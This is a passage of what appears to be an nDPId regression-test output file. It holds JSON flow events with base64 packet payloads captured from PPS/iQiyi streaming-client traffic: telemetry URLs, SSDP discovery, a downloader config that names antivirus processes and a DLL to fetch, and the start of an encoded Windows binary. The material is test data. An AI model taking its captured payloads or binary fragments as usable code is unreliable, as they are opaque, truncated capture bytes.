QpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCnF5aWQ6YWFvZWZkdHFnZmRlcHhjMnRudjNwaXVjZ2NiNGVvZm4NCnF5cGlkOl8yMDEyDQpxeXBsYXRmb3JtOjAtMg0KDQo="} +01075{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1141,"source":"pps.pcap","alias":"nDPId-test","flow_id":80,"flow_packet_id":1,"flow_first_seen":1467353185940,"flow_last_seen":0,"flow_tot_l4_data_len":649,"flow_min_l4_data_len":649,"flow_max_l4_data_len":649,"flow_avg_l4_data_len":649,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"202.108.14.219","src_port":50503,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Streaming"},"http": {"hostname":"msg.71.am","url":"msg.71.am\/core?t=2&chipid=Intel%28R%29%20Core%28TM%29%20i5%2D2557M%20CPU%20%40%201%2E70GHz&tm=30&ra=1&ishcdn=2&pf=201&p=11&p1=114&p2=3000&sdktp=1&c1=6&r=500494600&aid=502959900&u=aaoefdtqgfdepxc2tnv3piucgcb4eofn&pu=&os=windows&v=5%2E2%2E15%2E2240&krv=2%2E0%2E102&dt=&hu=-1&rn=1467353185&islocal=0&as=d19f64047b641cd6ff096b04fb2a30b5&ve=3cc0c8fa372625e64143144816f3e968&pe=c95d992e29856dc84f2e9907a2e4b282&vfrm=&chl=&hcdnv=10.0.0.293&tpcd=0&isdrm=1&ht=0","code":0,"content_type":"","user_agent":"QY-Player-Windows\/2.0.102"}} +00604{"flow_id":80,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1142,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353186,"pkt_ts_usec":2895,"pkt_caplen":199,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":199,"pkt_l4_len":165,"pkt":"ABxCjnAxTF4M6gNlCABFAAC5ehdAADMGwC\/KbA7bwKhzCABQxUdzEkFurBLg+VAYADiXAQAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG5naW54LzEuNC43DQpEYXRlOiBGcmksIDAxIEp1bCAyMDE2IDA2OjA2OjI1IEdNVA0KQ29udGVudC1UeXBlOiB0ZXh0L2h0bWwNCkNvbnRlbnQtTGVuZ3RoOiAwDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQoNCg=="} +00582{"flow_id":78,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1143,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353186,"pkt_ts_usec":830866,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"AQBef\/\/6uKxv2MGbCABFAAClNUoAAAQRyynAqAUy7\/\/\/+s0xB2wAkYI7TS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2U6SW50ZXJuZXRHYXRld2F5RGV2aWNlOjENCk1hbjogInNzZHA6ZGlzY292ZXIiDQpNWDogMw0KDQo="} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1144,"source":"pps.pcap","alias":"nDPId-test","flow_id":81,"flow_packet_id":1,"flow_first_seen":1467353187172,"flow_last_seen":0,"flow_tot_l4_data_len":141,"flow_min_l4_data_len":141,"flow_max_l4_data_len":141,"flow_avg_l4_data_len":141,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.28","dst_ip":"239.255.255.250","src_port":60023,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00578{"flow_id":81,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1144,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353187,"pkt_ts_usec":172929,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6jHNut5ODCABFAAChAgsAAAERAYPAqAUc7\/\/\/+up3B2wAjbFHTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00510{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1144,"source":"pps.pcap","alias":"nDPId-test","flow_id":81,"flow_packet_id":1,"flow_first_seen":1467353187172,"flow_last_seen":0,"flow_tot_l4_data_len":141,"flow_min_l4_data_len":141,"flow_max_l4_data_len":141,"flow_avg_l4_data_len":141,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.28","dst_ip":"239.255.255.250","src_port":60023,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00578{"flow_id":76,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1145,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353188,"pkt_ts_usec":55799,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6cBiLE+IdCABFAAChI6QAAAER39\/AqAUm7\/\/\/+uYRB2wAjbWjTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00480{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1146,"source":"pps.pcap","alias":"nDPId-test","flow_id":81,"flow_packet_id":1,"flow_first_seen":1467353187172,"flow_last_seen":0,"flow_tot_l4_data_len":141,"flow_min_l4_data_len":141,"flow_max_l4_data_len":141,"flow_avg_l4_data_len":141,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.28","dst_ip":"239.255.255.250","src_port":60023,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1146,"source":"pps.pcap","alias":"nDPId-test","flow_id":82,"flow_packet_id":1,"flow_first_seen":1467353189325,"flow_last_seen":0,"flow_tot_l4_data_len":164,"flow_min_l4_data_len":164,"flow_max_l4_data_len":164,"flow_avg_l4_data_len":164,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"223.26.106.19","src_port":50505,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00601{"flow_id":82,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1146,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353189,"pkt_ts_usec":325739,"pkt_caplen":198,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":198,"pkt_l4_len":164,"pkt":"TF4M6gNlABxCjnAxCABFAAC4LaNAAIAGT77AqHMI3xpqE8VJAFB9cer6SbS1WFAYQTc4sgAAR0VUIC9leHQvY29tbW9uL3Fpc3UyL2Rvd25sb2FkZXIuaW5pIEhUVFAvMS4xDQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXANClVzZXItQWdlbnQ6IERvd25sb2FkZXINCkhvc3Q6IHN0YXRpYy5xaXlpLmNvbQ0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUNCg0K"} +00662{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1146,"source":"pps.pcap","alias":"nDPId-test","flow_id":82,"flow_packet_id":1,"flow_first_seen":1467353189325,"flow_last_seen":0,"flow_tot_l4_data_len":164,"flow_min_l4_data_len":164,"flow_max_l4_data_len":164,"flow_avg_l4_data_len":164,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"223.26.106.19","src_port":50505,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Streaming"},"http": {"hostname":"static.qiyi.com","url":"static.qiyi.com\/ext\/common\/qisu2\/downloader.ini","code":0,"content_type":"","user_agent":"Downloader"}} +01093{"flow_id":82,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1147,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353189,"pkt_ts_usec":328640,"pkt_caplen":566,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":566,"pkt_l4_len":532,"pkt":"ABxCjnAxTF4M6gNlCABFAAIolNRAADgGLx3fGmoTwKhzCABQxUlJtLVYfXHrilAYAB9+agAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IFFXUw0KRGF0ZTogRnJpLCAwMSBKdWwgMjAxNiAwNjowNjoyOCBHTVQNCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtDQpDb250ZW50LUxlbmd0aDogMTcwDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQpFeHBpcmVzOiBGcmksIDAxIEp1bCAyMDE2IDA2OjM1OjQzIEdNVA0KQ2FjaGUtQ29udHJvbDogbWF4LWFnZT0zNjAwDQpBY2Nlc3MtQ29udHJvbC1BbGxvdy1PcmlnaW46ICoNClgtQ2FjaGU6IEhJVCBmcm9tIDEwLjEyMS4zMy45OA0KWC1DYWNoZTogSElUIGZyb20gMjIzLjI2LjEwNi4xOQ0KQWNjZXB0LVJhbmdlczogYnl0ZXMNCg0KW0NvbnRyb2xdDQphcHA9ZWd1aSxla3JuLG5vZDMya3VpLG5vZDMya3JuDQpjb3VudD0xDQpjMD1Eb3dubG9hZEhlbHBlcg0KW0Rvd25sb2FkZXJdDQpEb3dubG9hZEhlbHBlcj1odHRwOi8vc3RhdGljLnFpeWkuY29tL2V4dC9jb21tb24vcWlzdTIvRG93bmxvYWRIZWxwZXIuZGxsO1N0YXJ0O1FJWUk="} +00609{"flow_id":82,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1148,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353189,"pkt_ts_usec":360764,"pkt_caplen":202,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":202,"pkt_l4_len":168,"pkt":"TF4M6gNlABxCjnAxCABFAAC8LbBAAIAGT63AqHMI3xpqE8VJAFB9ceuKSbS3WFAYQLejygAAR0VUIC9leHQvY29tbW9uL3Fpc3UyL0Rvd25sb2FkSGVscGVyLmRsbCBIVFRQLzEuMQ0KQWNjZXB0LUVuY29kaW5nOiBnemlwDQpVc2VyLUFnZW50OiBEb3dubG9hZGVyDQpIb3N0OiBzdGF0aWMucWl5aS5jb20NCkNhY2hlLUNvbnRyb2w6IG5vLWNhY2hlDQoNCg=="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1149,"source":"pps.pcap","alias":"nDPId-test","flow_id":83,"flow_packet_id":1,"flow_first_seen":1467353189363,"flow_last_seen":0,"flow_tot_l4_data_len":912,"flow_min_l4_data_len":912,"flow_max_l4_data_len":912,"flow_avg_l4_data_len":912,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"202.108.14.236","src_port":50504,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +01601{"flow_id":83,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1149,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353189,"pkt_ts_usec":363217,"pkt_caplen":946,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":946,"pkt_l4_len":912,"pkt":"TF4M6gNlABxCjnAxCABFAAOkLbJAAIAGvJjAqHMIymwO7MVIAFBYgFOZMQ8QiVAYQTddVQAAR0VUIC9jcDIuZ2lmP2E9NGUzYWU0MTVhNTg0NzQ4YWM5YWEzMTYyOGYzOWQxZTgmYWk9JmFzPTE6NDU6MjN8NDUmYXY9NC4xMC4wMDQmYj0xODA5MzIzMDEmYz0zMSZjdD01MDAwMDAwOTIzNDQ3JmQ9MjE3NSZkaT0mZHA9NzEwMDAwMDEmZT1jNDg4OWU2NGFkOWQ5ZWViOWZmNDM4OTEwODUwYzQ0MiZlYz0mZW09JmZpPSZnPTAmbD1NVEU0TGpFMk15NDRMamt3Jm1rPSZudz0mb2Q9NTAwMDAwMDg1NDkzNCZvaT0mcD1hJnBwPSZyYz0mcmQ9JnJpPSZzPTE0NjczNTMxODcwNTMmc2g9JnNxPSZzdz0mdD0zcSZ1PTBfYWFvZWZkdHFnZmRlcHhjMnRudjNwaXVjZ2NiNGVvZm4mdj00Nzk1MzEwMDAmdnY9NS4yLjE1LjIyNDAmeD0meT1xY18xMDAwMDFfMTAwMTQwIEhUVFAvMS4xDQpBY2NlcHQtTGFuZ3VhZ2U6IHpoLUNODQpSZWZlcmVyOiBodHRwOi8vd3d3LmlxaXlpLmNvbS9jb21tb24vZmxhc2hwbGF5ZXIvMjAxNDA5MjQvTWFpblBsYXllcl81XzJfM19jM18yXzFfNi5zd2YNCnF5aWQ6IGFhb2VmZHRxZ2ZkZXB4YzJ0bnYzcGl1Y2djYjRlb2ZuDQpxeXBpZDogXzIwMTINCnF5cGxhdGZvcm06IDAtMg0KeC1mbGFzaC12ZXJzaW9uOiAxMiwwLDAsNzANCkFjY2VwdDogKi8qDQpQcmFnbWE6IG5vLWNhY2hlDQpDYWNoZS1Db250cm9sOiBuby1jYWNoZQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS80LjAgKGNvbXBhdGlibGU7IE1TSUUgOC4wOyBXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNC4wOyBTTENDMjsgLk5FVCBDTFIgMi4wLjUwNzI3OyAuTkVUIENMUiAzLjUuMzA3Mjk7IC5ORVQgQ0xSIDMuMC4zMDcyOTsgTWVkaWEgQ2VudGVyIFBDIDYuMCkvUVktUGxheWVyLVdpbmRvd3MvMi4wLjEwMg0KSG9zdDogbXNnLjcxLmFtDQoNCg=="} +01162{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1149,"source":"pps.pcap","alias":"nDPId-test","flow_id":83,"flow_packet_id":1,"flow_first_seen":1467353189363,"flow_last_seen":0,"flow_tot_l4_data_len":912,"flow_min_l4_data_len":912,"flow_max_l4_data_len":912,"flow_avg_l4_data_len":912,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"202.108.14.236","src_port":50504,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Streaming"},"http": {"hostname":"msg.71.am","url":"msg.71.am\/cp2.gif?a=4e3ae415a584748ac9aa31628f39d1e8&ai=&as=1:45:23|45&av=4.10.004&b=180932301&c=31&ct=5000000923447&d=2175&di=&dp=71000001&e=c4889e64ad9d9eeb9ff438910850c442&ec=&em=&fi=&g=0&l=MTE4LjE2My44Ljkw&mk=&nw=&od=5000000854934&oi=&p=a&pp=&rc=&rd=&ri=&s=1467353187053&sh=&sq=&sw=&t=3q&u=0_aaoefdtqgfdepxc2tnv3piucgcb4eofn&v=479531000&vv=5.2.15.2240&x=&y=qc_100001_100140","code":0,"content_type":"","user_agent":"Mozilla\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)\/QY-Player-Windows\/2.0.102"}} +02096{"flow_id":82,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1150,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353189,"pkt_ts_usec":364405,"pkt_caplen":1314,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1314,"pkt_l4_len":1280,"pkt":"ABxCjnAxTF4M6gNlCABFAAUUlNdAADgGLC7fGmoTwKhzCABQxUlJtLdYfXHsHlAQACHF9wAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IFFXUw0KRGF0ZTogRnJpLCAwMSBKdWwgMjAxNiAwNjowNjoyOCBHTVQNCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtDQpDb250ZW50LUxlbmd0aDogMzA1NjAwDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQpFeHBpcmVzOiBGcmksIDAxIEp1bCAyMDE2IDA2OjI1OjI5IEdNVA0KQ2FjaGUtQ29udHJvbDogbWF4LWFnZT0zNjAwDQpBY2Nlc3MtQ29udHJvbC1BbGxvdy1PcmlnaW46ICoNClgtQ2FjaGU6IEhJVCBmcm9tIDEwLjEyMS4zMy45Nw0KWC1DYWNoZTogSElUIGZyb20gMjIzLjI2LjEwNi4xOQ0KQWNjZXB0LVJhbmdlczogYnl0ZXMNCg0KTVqQAAMAAAAEAAAA\/\/8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAB3Rt9MMyexHzMnsR8zJ7Ef8CjuHzUnsR\/wKOwfJCexHzMnsB87JbEfFOHMHyQnsR8U4dwfnyexHxTh3x9JJ7EfFOHDHzYnsR8U4csfMiexHxThzR8yJ7EfFOHJHzInsR9SaWNoMyexHwAAAAAAAAAAUEUAAEwBBQCOOcNVAAAAAAAAAADgAAIhCwEIAAAAAwAAgAEAAAAAAMqTAQAAEAAAABADAAAAABAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAwAQAABAAAHRkBQACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAkLsDAEsAAACAoQMA3AAAAAAgBAA0OwAAAAAAAAAAAAAAkAQAwBkAAABgBACwKgAAUBUDABwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4agMAQAAAAAAAAAAAAAAAABADALgEAAD4oAMAQAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAI\/yAgAAEAAAAAADAAAQAAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAADbqwAAABADAACwAAAAEAMAAAAAAAAAAAAAAAAAQAAAQC5kYXRhAAAA+F4AAADAAwAAMAAAAMADAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAADQ7AAAAIAQAAEAAAADwAwAAAAAAAAAAAAAAAABAAABALnJlbG9jAABWVQAAAGAEAABgAAAAMAQAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +02092{"flow_id":82,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1151,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353189,"pkt_ts_usec":364407,"pkt_caplen":1314,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1314,"pkt_l4_len":1280,"pkt":"ABxCjnAxTF4M6gNlCABFAAUUlNhAADgGLC3fGmoTwKhzCABQxUlJtLxEfXHsHlAQACH4xQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +02092{"flow_id":82,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1152,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353189,"pkt_ts_usec":364461,"pkt_caplen":1314,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1314,"pkt_l4_len":1280,"pkt":"ABxCjnAxTF4M6gNlCABFAAUUlNlAADgGLCzfGmoTwKhzCABQxUlJtMEwfXHsHlAQACHz2QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +02123{"flow_id":82,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1153,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353189,"pkt_ts_usec":365499,"pkt_caplen":1314,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1314,"pkt_l4_len":1280,"pkt":"ABxCjnAxTF4M6gNlCABFAAUUlNpAADgGLCvfGmoTwKhzCABQxUlJtMYcfXHsHlAQACEZMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA